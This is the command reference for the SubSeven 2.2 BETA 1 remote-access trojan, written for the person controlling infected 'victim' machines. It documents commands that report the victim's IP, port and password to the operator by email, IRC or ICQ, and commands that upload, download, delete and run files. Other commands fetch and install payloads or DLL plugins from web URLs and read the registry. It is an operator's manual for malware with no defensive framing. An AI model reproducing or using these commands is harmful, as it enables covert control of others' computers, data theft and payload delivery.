=========================================================================
SubSeven 2.2 BETA 1 recognized commands: [see end of doc for VARIABLES]
=========================================================================

StaticIPNotification [ip] [port] [victim name]
SendEmailNotification [user]@[server] [destination] [e-mail body]
                [user] and @ can be ignored... it's the username for the email server
                [server] is the e-mail server.
                [destination] is the destination e-mail
                [e-mail body] contains the body of the e-mail. use | for ENTER. 
			      see SERVER CONSTANTS at the end of this doc.
SendIRCNotification [server]:[port] [destination]:[key] [nickname] [repeat] [content]
                [server] is the IRC server
                [port] is the server port. if not included, 6667 will be used
                [destination] is the notify receiver. it can be a nickname, or a channel.
                [key] if destination is a channel, this is the key [if it has one]
                [nickname] the nickname of the notification. if in use, random characters
                           will be attached at the end.
                [content] is the notification message. 
			  see SERVER CONSTANTS at the end of this doc.
StopIRCNotification
		stop the irc notification.
GetOnConnectCommands
		get a list of OnConnect commands
ClearOnConnectCommands
		clear the OnConnect commands
AddOnConnectCommand [command]
		adds [command] to the OnConnect list of commands
ProtectPassword [pass] 
		login with the protection password. if set, this is required
		to view/change the OnConnect commands
ChangeProtectPass [newpass]
		change the current protect_password with the new one.
ChangePort [new port]
ChangePass [new pass]
ChangeVName [new victim name]
CloseServer
		closes the server without removing any settings or deleting any files
RemoveServer
UpdateServer [file name]
UpdateServerFromWeb [url]
GetPCInfo
RestartServer
DownloadFile [filename]
RefreshFiles [folder]
RefreshDrives
DeleteFile [filename]
DeleteFolder [folder]
RefreshFolder [folder]
MkDir [new folder]
GetRegKey [main key][path]
		0 = HKEY_CLASSES_ROOT
		1 = HKEY_CURRENT_USER
		2 = HKEY_LOCAL_MACHINE
		3 = HKEY_USERS
		4 = HKEY_CURRENT_CONFIG
		5 = HKEY_DYN_DATA
PlayWAV [filename]
Wallpaper [filename]
Rename [file1]?[file2]
Run [file name]
FindFiles [subdirs][start folder]?[search mask]
		[subdirs] is 1 if subfolders should be searched, 0 if not
		[start folder] if specified, this is the root folder of the search path
		[search mask] multiple masks can be used separated by ;
MessageBox [buttons][icon][message title]{||}[message text]
		[buttons]
		  0 = OK
		  1 = Abort, Retry, Ignore
		  2 = OK, Cancel
		  3 = Retry, Cancel
		  4 = Yes, No
		  5 = Yes, No, Cancel
		[icons]
		  0 = no icon
		  1 = Warning
		  2 = Info
		  3 = Error
		  4 = Question
DownloadFileFromWeb [url] [remote filename]
		if no path is specified for the remote file, it'll be saved in the 
		/windows/system folder
GetDownloadStatus
ListPlugins
LoadPlugin [path]
UnLoadPlugin [index] 
		[index] is the number returned by ListPlugins
DownloadPluginFromWeb [url]
		the plugin is downloaded, and saved to the /windows/system/ folder 
		with a random name and a DLL extension. if download is successfull,
		the plugin is installed.
RefreshWindows [options]
		[options]
		  1 = all windows are returned
		  0 = only visible windows are returned
CloseWindow [index]
FocusWindow [index]
EnableWindow [index]
DisableWindow [index]
DisableClose [index]
HideWindow [index]
ShowWindow [index]
SetWindowText [index] [new caption]
Sleep [miliseconds]
		server waits the indicated number of miliseconds 
		before proceeding to the next command
Version
Upload [local file]?[remote file]
		if remote file has no path, it'll be uploaded in the windows/system folder
CancelUpload
SendICQPager [UIN] [victim name] [subject] [pager data]


SERVER CONSTANTS
=========================================================================
* these variables can be used in the notifications [email, icq, irc, etc.]

$port               the port that the server is running on.
$password           the server password [blank if server is not passworded]    
$victim_name        the victim name
$server_version     the server version
$ip                 the server ip(s).
$protect_password   if the notify options are password protected, this is the pass
$username	    the computer username. useful if you want more info
$sysdir             windows/system folder [eg. c:\windows\system]
$windir             windows folder [eg. c:\winnt]
* examples:
  SendICQNotification 14438136 foo VictimIsOnline Server:$ip is online on port $port
  - this will send a pager to 1438136, with subject "VictimIsOnline".
    the pager will appear as if sent by "foo". and the pager will contain the data:
    "Server:127.0.0.1 is online on port 27374"
* it's pretty easy and straight-forward.
* $windir and $sysdir are used for files... for example plugins.
